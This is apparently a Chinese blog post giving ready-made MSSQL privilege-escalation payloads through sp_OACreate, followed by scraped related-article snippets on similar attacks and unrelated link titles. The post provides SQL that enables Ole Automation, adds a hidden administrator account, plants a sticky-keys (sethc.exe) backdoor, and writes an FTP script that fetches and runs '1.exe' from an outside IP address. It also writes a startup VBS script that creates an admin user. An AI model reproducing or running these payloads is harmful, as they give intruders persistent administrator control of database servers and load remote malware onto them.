SP_OACreate提权经验
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
首先EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;打开组件,2005中默认关闭1)直接加用户2000系统:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add' xp和2003系统:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add' 2)粘贴键替换declare @o intexec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';declare @o intexec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';需要同时具备sp_oacreate 和sp_oamethod 两个功能组件3)直接传马DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--4)启动项写入加账户脚本declare @sp_passwordxieo int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo outexec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';5)如果该服务器有网站,则直接用方法4)写入一句话SP_OACreate提权经验的更多相关文章
- [转载]SQL Server提权系列
本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...
- 网站sqlserver提权操作
在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...
- 一次利用MSSQL的SA账户提权获取服务器权限
遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...
- WIN提权总结【本地存档-转载】
[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...
- MSSQL 漏洞利用与提权
1.SA口令的获取 webshell或源代码的获取 源代码泄露 嗅探(用CAIN等工具嗅探1433数据库端口) 口令暴力破解 2.常见SQL server 提权命令 查看数据库的版本(select @ ...
- soap注入某sql2008服务器结合msf进行提权
原文作者:陈小兵 在实际成功渗透过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次渗透利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提 ...
- 暴破助攻提权:ruadmin
i春秋作家:yangyangwithgnu 1 缘由 千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路 ...
- 1433修复命令大全提权错误大全_cmd_shell组件修复
net user SQLDebugger list /add net localgroup administrators SQLDebugger /add Error Message:未能找到存储过程 ...
- 滥用DNSAdmins权限进行Active Directory提权
0x00 前言 除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成.默认情况下,域控制器也是DNS服务器; 大 ...
随机推荐
- Ceph BlueFS
一.概述 BlueFS是个小型文件系统,小体现在功能简单,没有实现Posix接口,不支持对文件的覆盖写操作只支持追加写,没有本地文件系统的树形层次结构,只有扁平的目录到文件的映射关系.和BlueSto ...
- 【struts2】自定义更强大的logger拦截器
Struts2自带的logger拦截器只是打印出了Action所对应的URL以及执行的方法名称,这对实际开发来说是肯定不够的.实际开发中为了调试方便,要记录的信息比较多,通常需要把这次请求相关的几乎所 ...
- Linux查看当前网卡流量
sar(system activity reporter) sar通过cron定时调用执行收集和记录信息,默认是10分钟执行一次. # more /etc/cron.d/sysstat # Run s ...
- LINUX-iostat命令讲解
语法如下:iostat [ -c | -d ] [ -k ] [ -t ] [ -V ] [ -x [ device ] ] [ interval [ count ] ]-c为汇报CPU的使用情况:- ...
- 【转】Currying 的局限性
Currying 的局限性 很多基于 lambda calculus 的程序语言,比如 ML 和 Haskell,都习惯用一种叫做 currying 的手法来表示函数.比如,如果你在 Haskell ...
- Linux/Unix 新手和专家教程
你正在找一些高质量的Linux 和 UNIX 的教程吗?如果是,这篇文章会告诉你到哪去找到这些教程.这里我们将给出超过30个相当的不错的 Linux 和 UNIX 在线的教程. 需要大家注意的是,他们 ...
- CStatic的透明背景方法
原文链接: http://blog.sina.com.cn/s/blog_4a470fcc01000406.html 这篇文章中有些许错误,不过思路值得借鉴 如果在一个有颜色的窗体中创建一个CSt ...
- Cross compiling coreutils and generate the manpages
When we cross compiling coreutils, there is an problem of generating man pages, because the source s ...
- [转]java:IO流学习小结
Java流操作有关的类或接口: Java流类图结构: 流的概念和作用 流是一组有顺序的,有起点和终点的字节集合,是对数据传输的总称或抽象.即数据在两设备间的传输称为流,流的本质是数据传输,根据数据传输 ...
- springboot 中文文档
springboot 中文文档https://qbgbook.gitbooks.io/spring-boot-reference-guide-zh/content/